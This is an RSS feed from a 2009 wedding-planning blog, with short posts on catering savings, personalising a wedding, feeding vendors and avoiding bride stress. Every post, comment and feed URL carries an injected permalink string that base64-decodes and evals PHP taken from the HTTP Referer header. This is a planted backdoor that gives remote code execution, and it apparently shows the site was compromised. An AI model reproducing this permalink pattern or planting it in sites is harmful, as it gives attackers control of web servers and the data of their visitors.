Good Bride Bad Bride http://goodbridebadbride.com Sat, 19 Sep 2009 15:29:12 +0000 http://wordpress.org/?v=2.7.1 en hourly 1 Budget Saving Catering Tips http://goodbridebadbride.com/2009/09/19/budget-saving-catering-tips/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goodbridebadbride.com/2009/09/19/budget-saving-catering-tips/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 19 Sep 2009 15:29:12 +0000 admin http://goodbridebadbride.com/?p=176 Here’s a tip from a writer friend Joni. Rather than hiring a prominent caterer in her area. Joni contacted someone she knew who was in culniary school and thinking of starting her own catering business. The student gave Joni an awesome deal on her meal for the wedding, saving Joni more than 30 percent of what she would’ve been charged.  And Joni received rave reviews of the creative meal the student served. Go Joni!

]]> http://goodbridebadbride.com/2009/09/19/budget-saving-catering-tips/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ How can I personalize my wedding? http://goodbridebadbride.com/2009/09/19/how-can-i-personalize-my-wedding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goodbridebadbride.com/2009/09/19/how-can-i-personalize-my-wedding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 19 Sep 2009 15:24:26 +0000 admin http://goodbridebadbride.com/?p=172 You can easily personalize your wedding by incorporating favorite family traditions.  One couple’s buffet including favorite dishes that reminded them of going to their grandparents house for dinner.  Family and friends loved the retro meal and it was a way to remember those that were with them in spirit.

]]> http://goodbridebadbride.com/2009/09/19/how-can-i-personalize-my-wedding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ This Week’s Q & A With MJ http://goodbridebadbride.com/2009/03/26/should-i-feed-my-vendors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goodbridebadbride.com/2009/03/26/should-i-feed-my-vendors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 26 Mar 2009 16:47:32 +0000 admin http://goodbridebadbride.com/?p=160 Q: Should I feed my vendors?

A:  This is a two-part answer. Absolutely and no. The vendors, such as a florist and linen company, will be there prior to the start of your ceremony and/or reception so you do not have to feed these vendors. However, vendors, such as your photographers are with you from the time you start dressing until the end of the evening. That’s a long time to go without something in their stomachs.  So absolutely, they should be feed.  Other vendors to feed include your videographer, DJ or band members, wedding planner and anyone else that you might hire for the entire day/evening.

]]> http://goodbridebadbride.com/2009/03/26/should-i-feed-my-vendors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Ask MJ http://goodbridebadbride.com/2009/02/15/ask-mj/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goodbridebadbride.com/2009/02/15/ask-mj/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 15 Feb 2009 17:54:18 +0000 admin http://goodbridebadbride.com/?p=142 Past Q & A with MJ

 Q:  What is a common mistake brides make?

 A: Sometimes, brides think they can do it all. And they think they have to do it all. As a bride, you don’t. Give some tasks to your groom.  Ask grandma or an aunt to take charge of the cookie table. If you have a computer-savvy bridesmaid or friend, ask them to do whatever computer tasks you need accomplish.  People like to help so this is the time to ask.

Past Q & A with MJ

Q: My band’s contract says they get two breaks during my reception. Is that typical? 

 A: Yes, it is common.  Although some bands will only take one break to eat dinner during a wedding reception.  In some contracts, bands state they get two breaks.  Also, most contracts will state how long the breaks will be.  If the contract doesn’t give a designated amount of time for the break, ask.  You will want to know if the break is 20, 30,or 40 minutes so you can plan your reception details accordingly.

Need some help? MJ can offer tips to make your wedding planning easier, just ask!

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]]> http://goodbridebadbride.com/2009/02/15/ask-mj/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Brides, check out these ”good” tips to help alleviate the stress that could turn you into a bad bride! http://goodbridebadbride.com/2009/02/15/good-bride-tips/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goodbridebadbride.com/2009/02/15/good-bride-tips/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 15 Feb 2009 17:39:12 +0000 admin http://goodbridebadbride.com/?p=140

Know your personality and the way your work. By knowing the way you work, it will help you plan your wedding day more efficiently, making the process less stressful. So do you get excited, jump into action, then lose your interest as time goes on? If so, tackle the most time-consuming tasks or ones with a tight deadline in the beginning of the planning process and work your way to the easier tasks. For brides who are perfectionists and never seem to finish a job, ask your groom to give you a deadline or a stopping point to move that task out of your hands. Now, if too many decisions overwhelm you, ask mom or another trusted person to nar row down your options. With only three or four choices, it will be easier to handle.

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